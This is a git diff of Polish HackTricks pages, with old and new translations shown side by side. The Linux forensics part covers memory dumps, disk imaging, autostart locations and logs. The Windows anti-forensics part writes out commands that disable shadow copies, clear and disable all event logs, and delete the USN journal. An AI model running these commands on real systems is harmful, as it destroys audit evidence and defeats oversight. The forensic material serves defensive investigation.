1. Otwórz program Usługi, wpisując "services" w pole wyszukiwania tekstu po kliknięciu przycisku start w systemie Windows.
|
||||
2. Z listy znajdź "Kopię Cienia Woluminu", wybierz ją, a następnie uzyskaj dostęp do Właściwości, klikając prawym przyciskiem myszy.
|
||||
3. Wybierz opcję Wyłączone z menu rozwijanego "Typ uruchamiania", a następnie potwierdź zmianę, klikając Zastosuj i OK.
|
||||
1. Otwórz program Usługi, wpisując "usługi" w polu wyszukiwania tekstowego po kliknięciu przycisku start w Windows.
|
||||
2. Z listy znajdź "Kopia Cienia Woluminu", wybierz ją, a następnie uzyskaj dostęp do Właściwości, klikając prawym przyciskiem myszy.
|
||||
3. Wybierz Wyłączony z rozwijanego menu "Typ uruchomienia", a następnie potwierdź zmianę, klikając Zastosuj i OK.
|
||||
|
||||
Możliwe jest również zmodyfikowanie konfiguracji, które pliki zostaną skopiowane w kopii cienia w rejestrze `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||
Możliwe jest również modyfikowanie konfiguracji, które pliki będą kopiowane w kopii cienia w rejestrze `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||
|
||||
### Nadpisz usunięte pliki
|
||||
|
||||
* Możesz użyć narzędzia **Windows**: `cipher /w:C` Spowoduje to, że cipher usunie wszystkie dane z dostępnej nieużywanej przestrzeni dyskowej w dysku C.
|
||||
* Możesz także użyć narzędzi takich jak [**Eraser**](https://eraser.heidi.ie)
|
||||
* Możesz użyć **narzędzia Windows**: `cipher /w:C` To polecenie wskaże cipherowi, aby usunął wszelkie dane z dostępnej nieużywanej przestrzeni dyskowej w dysku C.
|
||||
* Możesz również użyć narzędzi takich jak [**Eraser**](https://eraser.heidi.ie)
|
||||
|
||||
### Usuń dzienniki zdarzeń systemu Windows
|
||||
### Usuń dzienniki zdarzeń Windows
|
||||
|
||||
* Windows + R --> eventvwr.msc --> Rozwiń "Dzienniki systemu Windows" --> Kliknij prawym przyciskiem myszy każdą kategorię i wybierz "Wyczyść dziennik"
|
||||
* Windows + R --> eventvwr.msc --> Rozwiń "Dzienniki Windows" --> Kliknij prawym przyciskiem myszy na każdą kategorię i wybierz "Wyczyść dziennik"
|
||||
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
|
||||
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
|
||||
|
||||
### Wyłącz dzienniki zdarzeń systemu Windows
|
||||
### Wyłącz dzienniki zdarzeń Windows
|
||||
|
||||
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
||||
* W sekcji usług wyłącz usługę "Dziennik zdarzeń systemu Windows"
|
||||
* W sekcji usług wyłącz usługę "Dziennik Zdarzeń Windows"
|
||||
* `WEvtUtil.exec clear-log` lub `WEvtUtil.exe cl`
|
||||
|
||||
### Wyłącz $UsnJrnl
|
||||
|
||||
* `fsutil usn deletejournal /d c:`
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,38 @@
|
|||
# Analiza śladów w systemie Linux
|
||||
# Linux Forensics
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społeczności.\
|
||||
Zdobądź dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społeczności.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Początkowe zbieranie informacji
|
||||
## Wstępne zbieranie informacji
|
||||
|
||||
### Podstawowe informacje
|
||||
|
||||
Po pierwsze, zaleca się posiadanie **pendrive'a** z **znanymi dobrymi binarkami i bibliotekami** (możesz po prostu pobrać Ubuntu i skopiować foldery _/bin_, _/sbin_, _/lib_ i _/lib64_), następnie zamontuj pendrive i zmodyfikuj zmienne środowiskowe, aby używać tych binarek:
|
||||
Przede wszystkim zaleca się posiadanie **USB** z **dobrze znanymi binariami i bibliotekami** (możesz po prostu pobrać ubuntu i skopiować foldery _/bin_, _/sbin_, _/lib,_ i _/lib64_), następnie zamontować USB i zmodyfikować zmienne środowiskowe, aby używać tych binariów:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
```
|
||||
Kiedy skonfigurowano system do użycia dobrych i znanych binariów, można rozpocząć **wydobywanie podstawowych informacji**:
|
||||
Gdy skonfigurujesz system do używania dobrych i znanych binarek, możesz zacząć **ekstrahować podstawowe informacje**:
|
||||
```bash
|
||||
date #Date and time (Clock may be skewed, Might be at a different timezone)
|
||||
uname -a #OS info
|
||||
|
@ -51,45 +52,45 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
|
|||
```
|
||||
#### Podejrzane informacje
|
||||
|
||||
Podczas uzyskiwania podstawowych informacji należy sprawdzić dziwne rzeczy, takie jak:
|
||||
Podczas uzyskiwania podstawowych informacji powinieneś sprawdzić dziwne rzeczy, takie jak:
|
||||
|
||||
- Procesy **Roota** zazwyczaj działają z niskimi PID-ami, więc jeśli znajdziesz proces Roota z dużym PID-em, możesz podejrzewać
|
||||
- Sprawdź **zarejestrowane logowania** użytkowników bez powłoki wewnątrz `/etc/passwd`
|
||||
- Sprawdź **hashe haseł** wewnątrz `/etc/shadow` dla użytkowników bez powłoki
|
||||
* **Procesy root** zazwyczaj działają z niskimi PID, więc jeśli znajdziesz proces root z dużym PID, możesz podejrzewać
|
||||
* Sprawdź **zarejestrowane loginy** użytkowników bez powłoki w `/etc/passwd`
|
||||
* Sprawdź **hasła** w `/etc/shadow` dla użytkowników bez powłoki
|
||||
|
||||
### Zrzut pamięci
|
||||
|
||||
Aby uzyskać pamięć działającego systemu, zaleca się użycie [**LiME**](https://github.com/504ensicsLabs/LiME).\
|
||||
Aby go **skompilować**, musisz użyć **tego samego jądra**, którego używa maszyna ofiary.
|
||||
Aby **skompilować** go, musisz użyć **tego samego jądra**, które używa maszyna ofiary.
|
||||
|
||||
{% hint style="info" %}
|
||||
Pamiętaj, że **nie możesz zainstalować LiME ani niczego innego** na maszynie ofiary, ponieważ spowoduje to kilka zmian
|
||||
Pamiętaj, że **nie możesz zainstalować LiME ani nic innego** na maszynie ofiary, ponieważ wprowadzi to wiele zmian w niej
|
||||
{% endhint %}
|
||||
|
||||
Więc jeśli masz identyczną wersję Ubuntu, możesz użyć `apt-get install lime-forensics-dkms`\
|
||||
W innych przypadkach musisz pobrać [**LiME**](https://github.com/504ensicsLabs/LiME) z githuba i skompilować go z odpowiednimi nagłówkami jądra. Aby **uzyskać dokładne nagłówki jądra** maszyny ofiary, możesz po prostu **skopiować katalog** `/lib/modules/<wersja jądra>` na swoją maszynę, a następnie **skompilować** LiME, korzystając z nich:
|
||||
Więc, jeśli masz identyczną wersję Ubuntu, możesz użyć `apt-get install lime-forensics-dkms`\
|
||||
W innych przypadkach musisz pobrać [**LiME**](https://github.com/504ensicsLabs/LiME) z githuba i skompilować go z odpowiednimi nagłówkami jądra. Aby **uzyskać dokładne nagłówki jądra** maszyny ofiary, możesz po prostu **skopiować katalog** `/lib/modules/<kernel version>` na swoją maszynę, a następnie **skompilować** LiME używając ich:
|
||||
```bash
|
||||
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||
```
|
||||
LiME obsługuje 3 **formaty**:
|
||||
|
||||
* Surowy (każdy segment połączony razem)
|
||||
* Wyściełany (to samo co surowy, ale z zerami na prawej stronie)
|
||||
* Surowy (wszystkie segmenty połączone razem)
|
||||
* Wypełniony (taki sam jak surowy, ale z zerami w prawych bitach)
|
||||
* Lime (zalecany format z metadanymi)
|
||||
|
||||
LiME można również użyć do **wysłania zrzutu przez sieć** zamiast przechowywania go w systemie, używając czegoś takiego jak: `path=tcp:4444`
|
||||
LiME może być również używany do **wysyłania zrzutu przez sieć** zamiast przechowywania go w systemie, używając czegoś takiego jak: `path=tcp:4444`
|
||||
|
||||
### Tworzenie obrazu dysku
|
||||
### Obrazowanie dysku
|
||||
|
||||
#### Wyłączenie
|
||||
#### Wyłączanie
|
||||
|
||||
Po pierwsze, będziesz musiał **wyłączyć system**. Nie zawsze jest to opcja, ponieważ czasami system będzie serwerem produkcyjnym, którego firma nie może sobie pozwolić na wyłączenie.\
|
||||
Istnieją **2 sposoby** wyłączenia systemu, **normalne wyłączenie** i **wyłączenie "wyciągnij wtyczkę"**. Pierwsze pozwoli **procesom zakończyć działanie jak zwykle** i **zsynchronizować system plików**, ale pozwoli również ewentualnemu **malware** na **zniszczenie dowodów**. Podejście "wyciągnij wtyczkę" może wiązać się z **pewną stratą informacji** (nie wiele informacji zostanie utraconych, ponieważ już zrobiliśmy obraz pamięci) i **malware nie będzie miał szansy** na cokolwiek. Dlatego jeśli **podejrzewasz**, że może być **malware**, po prostu wykonaj polecenie **`sync`** na systemie i wyciągnij wtyczkę.
|
||||
Przede wszystkim musisz **wyłączyć system**. Nie zawsze jest to opcja, ponieważ czasami system będzie serwerem produkcyjnym, którego firma nie może sobie pozwolić na wyłączenie.\
|
||||
Istnieją **2 sposoby** na wyłączenie systemu, **normalne wyłączenie** i **wyłączenie "wyciągnięciem wtyczki"**. Pierwsze pozwoli **procesom zakończyć się jak zwykle** i **system plików** będzie **zsynchronizowany**, ale pozwoli również potencjalnemu **złośliwemu oprogramowaniu** na **zniszczenie dowodów**. Podejście "wyciągnięcia wtyczki" może wiązać się z **pewną utratą informacji** (nie wiele informacji zostanie utraconych, ponieważ już zrobiliśmy obraz pamięci) i **złośliwe oprogramowanie nie będzie miało żadnej możliwości** działania w tej sprawie. Dlatego, jeśli **podejrzewasz**, że może być **złośliwe oprogramowanie**, po prostu wykonaj **komendę** **`sync`** w systemie i wyciągnij wtyczkę.
|
||||
|
||||
#### Tworzenie obrazu dysku
|
||||
#### Robienie obrazu dysku
|
||||
|
||||
Ważne jest zauważenie, że **przed podłączeniem komputera do czegokolwiek związanego z sprawą**, musisz upewnić się, że będzie on **zamontowany jako tylko do odczytu**, aby uniknąć modyfikowania jakichkolwiek informacji.
|
||||
Ważne jest, aby zauważyć, że **przed podłączeniem komputera do czegokolwiek związanego z sprawą**, musisz upewnić się, że będzie on **zamontowany jako tylko do odczytu**, aby uniknąć modyfikacji jakichkolwiek informacji.
|
||||
```bash
|
||||
#Create a raw copy of the disk
|
||||
dd if=<subject device> of=<image file> bs=512
|
||||
|
@ -156,23 +157,23 @@ ThisisTheMasterSecret
|
|||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Korzystaj z [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics), aby łatwo tworzyć i **automatyzować przepływy pracy** oparte na najbardziej zaawansowanych narzędziach społeczności na świecie.\
|
||||
Otrzymaj Dostęp Dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społeczności.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
|
||||
|
||||
## Wyszukiwanie znanego oprogramowania złośliwego
|
||||
## Wyszukiwanie znanego złośliwego oprogramowania
|
||||
|
||||
### Zmodyfikowane pliki systemowe
|
||||
|
||||
Linux oferuje narzędzia do zapewnienia integralności komponentów systemowych, co jest kluczowe dla wykrywania potencjalnie problematycznych plików.
|
||||
|
||||
* **Systemy oparte na RedHat**: Użyj `rpm -Va` dla kompleksowej kontroli.
|
||||
* **Systemy oparte na Debian**: `dpkg --verify` dla wstępnej weryfikacji, a następnie `debsums | grep -v "OK$"` (po zainstalowaniu `debsums` za pomocą `apt-get install debsums`) w celu zidentyfikowania ewentualnych problemów.
|
||||
* **Systemy oparte na RedHat**: Użyj `rpm -Va`, aby przeprowadzić kompleksowe sprawdzenie.
|
||||
* **Systemy oparte na Debianie**: `dpkg --verify` do wstępnej weryfikacji, a następnie `debsums | grep -v "OK$"` (po zainstalowaniu `debsums` za pomocą `apt-get install debsums`), aby zidentyfikować wszelkie problemy.
|
||||
|
||||
### Detektory oprogramowania złośliwego/rootkitów
|
||||
### Detektory złośliwego oprogramowania/rootkitów
|
||||
|
||||
Przeczytaj następną stronę, aby dowiedzieć się o narzędziach, które mogą być przydatne do wykrywania oprogramowania złośliwego:
|
||||
Przeczytaj następującą stronę, aby dowiedzieć się o narzędziach, które mogą być przydatne do znajdowania złośliwego oprogramowania:
|
||||
|
||||
{% content-ref url="malware-analysis.md" %}
|
||||
[malware-analysis.md](malware-analysis.md)
|
||||
|
@ -180,12 +181,12 @@ Przeczytaj następną stronę, aby dowiedzieć się o narzędziach, które mogą
|
|||
|
||||
## Wyszukiwanie zainstalowanych programów
|
||||
|
||||
Aby skutecznie wyszukiwać zainstalowane programy zarówno w systemach Debian, jak i RedHat, rozważ wykorzystanie dzienników systemowych i baz danych w połączeniu z ręcznymi sprawdzeniami w powszechnych katalogach.
|
||||
Aby skutecznie wyszukiwać zainstalowane programy zarówno w systemach Debian, jak i RedHat, rozważ wykorzystanie dzienników systemowych i baz danych obok ręcznych sprawdzeń w typowych katalogach.
|
||||
|
||||
* Dla Debiana, sprawdź _**`/var/lib/dpkg/status`**_ i _**`/var/log/dpkg.log`**_, aby uzyskać szczegóły dotyczące instalacji pakietów, używając `grep` do filtrowania konkretnych informacji.
|
||||
* Użytkownicy RedHat mogą zapytać bazę danych RPM za pomocą `rpm -qa --root=/mntpath/var/lib/rpm`, aby wyświetlić zainstalowane pakiety.
|
||||
* Dla Debiana sprawdź _**`/var/lib/dpkg/status`**_ i _**`/var/log/dpkg.log`**_, aby uzyskać szczegóły dotyczące instalacji pakietów, używając `grep`, aby filtrować konkretne informacje.
|
||||
* Użytkownicy RedHat mogą zapytać bazę danych RPM za pomocą `rpm -qa --root=/mntpath/var/lib/rpm`, aby wylistować zainstalowane pakiety.
|
||||
|
||||
Aby odkryć oprogramowanie zainstalowane ręcznie lub poza tymi menedżerami pakietów, przejrzyj katalogi takie jak _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ i _**`/sbin`**_. Połącz listy katalogów z poleceniami specyficznymi dla systemu, aby zidentyfikować pliki wykonywalne niepowiązane z znanymi pakietami, zwiększając tym samym skuteczność wyszukiwania wszystkich zainstalowanych programów.
|
||||
Aby odkryć oprogramowanie zainstalowane ręcznie lub poza tymi menedżerami pakietów, przeszukaj katalogi takie jak _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ i _**`/sbin`**_. Połącz listy katalogów z poleceniami specyficznymi dla systemu, aby zidentyfikować pliki wykonywalne, które nie są związane z znanymi pakietami, co zwiększy twoje możliwości wyszukiwania wszystkich zainstalowanych programów.
|
||||
```bash
|
||||
# Debian package and log details
|
||||
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
||||
|
@ -204,20 +205,20 @@ find / -type f -executable | grep <something>
|
|||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics), aby łatwo tworzyć i **automatyzować** zadania przy użyciu najbardziej zaawansowanych narzędzi społeczności.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społeczności.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
|
||||
|
||||
## Odzyskiwanie Usuniętych Uruchamianych Binaries
|
||||
## Przywracanie usuniętych działających binariów
|
||||
|
||||
Wyobraź sobie proces, który został uruchomiony z /tmp/exec, a następnie usunięty. Możliwe jest jego wydobycie
|
||||
Wyobraź sobie proces, który został uruchomiony z /tmp/exec, a następnie usunięty. Możliwe jest jego wyodrębnienie
|
||||
```bash
|
||||
cd /proc/3746/ #PID with the exec file deleted
|
||||
head -1 maps #Get address of the file. It was 08048000-08049000
|
||||
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
|
||||
```
|
||||
## Sprawdź lokalizacje automatycznego uruchamiania
|
||||
## Inspekcja lokalizacji autostartu
|
||||
|
||||
### Zaplanowane zadania
|
||||
```bash
|
||||
|
@ -235,92 +236,92 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
|
|||
```
|
||||
### Usługi
|
||||
|
||||
Ścieżki, w których złośliwe oprogramowanie może zostać zainstalowane jako usługa:
|
||||
Ścieżki, w których złośliwe oprogramowanie może być zainstalowane jako usługa:
|
||||
|
||||
- **/etc/inittab**: Wywołuje skrypty inicjalizacyjne, takie jak rc.sysinit, kierując dalej do skryptów uruchamiania.
|
||||
- **/etc/rc.d/** i **/etc/rc.boot/**: Zawierają skrypty do uruchamiania usług, przy czym te drugie znajdują się w starszych wersjach systemu Linux.
|
||||
- **/etc/init.d/**: Używane w niektórych wersjach Linuxa, takich jak Debian, do przechowywania skryptów uruchamiania.
|
||||
- Usługi mogą również być aktywowane za pomocą **/etc/inetd.conf** lub **/etc/xinetd/**, w zależności od wariantu systemu Linux.
|
||||
- **/etc/systemd/system**: Katalog dla skryptów systemowych i menedżera usług.
|
||||
- **/etc/systemd/system/multi-user.target.wants/**: Zawiera odnośniki do usług, które powinny być uruchamiane w wieloużytkownikowym poziomie uruchamiania.
|
||||
- **/usr/local/etc/rc.d/**: Dla niestandardowych lub zewnętrznych usług.
|
||||
- **\~/.config/autostart/**: Dla aplikacji uruchamianych automatycznie dla konkretnego użytkownika, co może być miejscem ukrycia dla złośliwego oprogramowania ukierunkowanego na użytkownika.
|
||||
- **/lib/systemd/system/**: Pliki jednostek domyślnych dla całego systemu dostarczane przez zainstalowane pakiety.
|
||||
* **/etc/inittab**: Wywołuje skrypty inicjalizacyjne, takie jak rc.sysinit, kierując dalej do skryptów uruchamiających.
|
||||
* **/etc/rc.d/** i **/etc/rc.boot/**: Zawierają skrypty do uruchamiania usług, z których drugi znajduje się w starszych wersjach Linuksa.
|
||||
* **/etc/init.d/**: Używane w niektórych wersjach Linuksa, takich jak Debian, do przechowywania skryptów uruchamiających.
|
||||
* Usługi mogą być również aktywowane za pomocą **/etc/inetd.conf** lub **/etc/xinetd/**, w zależności od wariantu Linuksa.
|
||||
* **/etc/systemd/system**: Katalog dla skryptów menedżera systemu i usług.
|
||||
* **/etc/systemd/system/multi-user.target.wants/**: Zawiera linki do usług, które powinny być uruchamiane w trybie wieloużytkownikowym.
|
||||
* **/usr/local/etc/rc.d/**: Dla usług niestandardowych lub firm trzecich.
|
||||
* **\~/.config/autostart/**: Dla aplikacji uruchamianych automatycznie specyficznych dla użytkownika, które mogą być miejscem ukrycia złośliwego oprogramowania skierowanego na użytkownika.
|
||||
* **/lib/systemd/system/**: Domyślne pliki jednostek w skali systemu dostarczane przez zainstalowane pakiety.
|
||||
|
||||
### Moduły jądra
|
||||
|
||||
Moduły jądra Linux, często wykorzystywane przez złośliwe oprogramowanie jako komponenty rootkitów, są ładowane podczas uruchamiania systemu. Istotne katalogi i pliki dla tych modułów to:
|
||||
Moduły jądra Linuksa, często wykorzystywane przez złośliwe oprogramowanie jako komponenty rootkit, są ładowane podczas uruchamiania systemu. Katalogi i pliki krytyczne dla tych modułów obejmują:
|
||||
|
||||
- **/lib/modules/$(uname -r)**: Zawiera moduły dla działającej wersji jądra.
|
||||
- **/etc/modprobe.d**: Zawiera pliki konfiguracyjne do kontrolowania ładowania modułów.
|
||||
- **/etc/modprobe** i **/etc/modprobe.conf**: Pliki dla globalnych ustawień modułów.
|
||||
* **/lib/modules/$(uname -r)**: Zawiera moduły dla uruchamianej wersji jądra.
|
||||
* **/etc/modprobe.d**: Zawiera pliki konfiguracyjne do kontrolowania ładowania modułów.
|
||||
* **/etc/modprobe** i **/etc/modprobe.conf**: Pliki dla globalnych ustawień modułów.
|
||||
|
||||
### Inne lokalizacje automatycznego uruchamiania
|
||||
### Inne lokalizacje autostartu
|
||||
|
||||
Linux wykorzystuje różne pliki do automatycznego uruchamiania programów po zalogowaniu użytkownika, potencjalnie ukrywając złośliwe oprogramowanie:
|
||||
Linux wykorzystuje różne pliki do automatycznego uruchamiania programów po zalogowaniu użytkownika, co może skrywać złośliwe oprogramowanie:
|
||||
|
||||
- **/etc/profile.d/**\*, **/etc/profile** i **/etc/bash.bashrc**: Wykonywane dla każdego logowania użytkownika.
|
||||
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile** i **\~/.config/autostart**: Pliki specyficzne dla użytkownika, które są uruchamiane po ich zalogowaniu.
|
||||
- **/etc/rc.local**: Uruchamiany po uruchomieniu wszystkich usług systemowych, oznaczając zakończenie przejścia do środowiska wieloużytkownikowego.
|
||||
* **/etc/profile.d/**\*, **/etc/profile**, i **/etc/bash.bashrc**: Wykonywane dla każdego logowania użytkownika.
|
||||
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, i **\~/.config/autostart**: Pliki specyficzne dla użytkownika, które uruchamiają się po ich logowaniu.
|
||||
* **/etc/rc.local**: Uruchamia się po uruchomieniu wszystkich usług systemowych, oznaczając koniec przejścia do środowiska wieloużytkownikowego.
|
||||
|
||||
## Sprawdzanie logów
|
||||
## Sprawdź logi
|
||||
|
||||
Systemy Linux śledzą aktywności użytkowników i zdarzenia systemowe za pomocą różnych plików dziennika. Te dzienniki są kluczowe dla identyfikacji nieautoryzowanego dostępu, infekcji złośliwym oprogramowaniem i innych incydentów związanych z bezpieczeństwem. Kluczowe pliki dziennika obejmują:
|
||||
Systemy Linux śledzą aktywności użytkowników i zdarzenia systemowe za pomocą różnych plików logów. Logi te są kluczowe do identyfikacji nieautoryzowanego dostępu, infekcji złośliwym oprogramowaniem i innych incydentów bezpieczeństwa. Kluczowe pliki logów obejmują:
|
||||
|
||||
- **/var/log/syslog** (Debian) lub **/var/log/messages** (RedHat): Zbierają komunikaty i aktywności na poziomie systemu.
|
||||
- **/var/log/auth.log** (Debian) lub **/var/log/secure** (RedHat): Rejestrują próby uwierzytelnienia, udane i nieudane logowania.
|
||||
- Użyj `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` do filtrowania istotnych zdarzeń uwierzytelniania.
|
||||
- **/var/log/boot.log**: Zawiera komunikaty uruchamiania systemu.
|
||||
- **/var/log/maillog** lub **/var/log/mail.log**: Rejestrują aktywności serwera poczty e-mail, przydatne do śledzenia usług związanych z e-mailem.
|
||||
- **/var/log/kern.log**: Przechowuje komunikaty jądra, w tym błędy i ostrzeżenia.
|
||||
- **/var/log/dmesg**: Zawiera komunikaty sterownika urządzenia.
|
||||
- **/var/log/faillog**: Rejestruje nieudane próby logowania, pomagając w dochodzeniach dotyczących naruszeń bezpieczeństwa.
|
||||
- **/var/log/cron**: Rejestruje wykonania zadań cron.
|
||||
- **/var/log/daemon.log**: Śledzi aktywności usług w tle.
|
||||
- **/var/log/btmp**: Dokumentuje nieudane próby logowania.
|
||||
- **/var/log/httpd/**: Zawiera dzienniki błędów i dostępu Apache HTTPD.
|
||||
- **/var/log/mysqld.log** lub **/var/log/mysql.log**: Rejestrują aktywności bazy danych MySQL.
|
||||
- **/var/log/xferlog**: Rejestruje transfery plików FTP.
|
||||
- **/var/log/**: Zawsze sprawdzaj tutaj nieoczekiwane dzienniki.
|
||||
* **/var/log/syslog** (Debian) lub **/var/log/messages** (RedHat): Rejestrują wiadomości i aktywności w skali systemu.
|
||||
* **/var/log/auth.log** (Debian) lub **/var/log/secure** (RedHat): Rejestrują próby uwierzytelnienia, udane i nieudane logowania.
|
||||
* Użyj `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log`, aby filtrować odpowiednie zdarzenia uwierzytelnienia.
|
||||
* **/var/log/boot.log**: Zawiera wiadomości o uruchamianiu systemu.
|
||||
* **/var/log/maillog** lub **/var/log/mail.log**: Rejestrują aktywności serwera pocztowego, przydatne do śledzenia usług związanych z pocztą.
|
||||
* **/var/log/kern.log**: Przechowuje wiadomości jądra, w tym błędy i ostrzeżenia.
|
||||
* **/var/log/dmesg**: Zawiera wiadomości sterowników urządzeń.
|
||||
* **/var/log/faillog**: Rejestruje nieudane próby logowania, co pomaga w dochodzeniach dotyczących naruszeń bezpieczeństwa.
|
||||
* **/var/log/cron**: Rejestruje wykonania zadań cron.
|
||||
* **/var/log/daemon.log**: Śledzi aktywności usług w tle.
|
||||
* **/var/log/btmp**: Dokumentuje nieudane próby logowania.
|
||||
* **/var/log/httpd/**: Zawiera logi błędów i dostępu Apache HTTPD.
|
||||
* **/var/log/mysqld.log** lub **/var/log/mysql.log**: Rejestrują aktywności bazy danych MySQL.
|
||||
* **/var/log/xferlog**: Rejestruje transfery plików FTP.
|
||||
* **/var/log/**: Zawsze sprawdzaj nieoczekiwane logi tutaj.
|
||||
|
||||
{% hint style="info" %}
|
||||
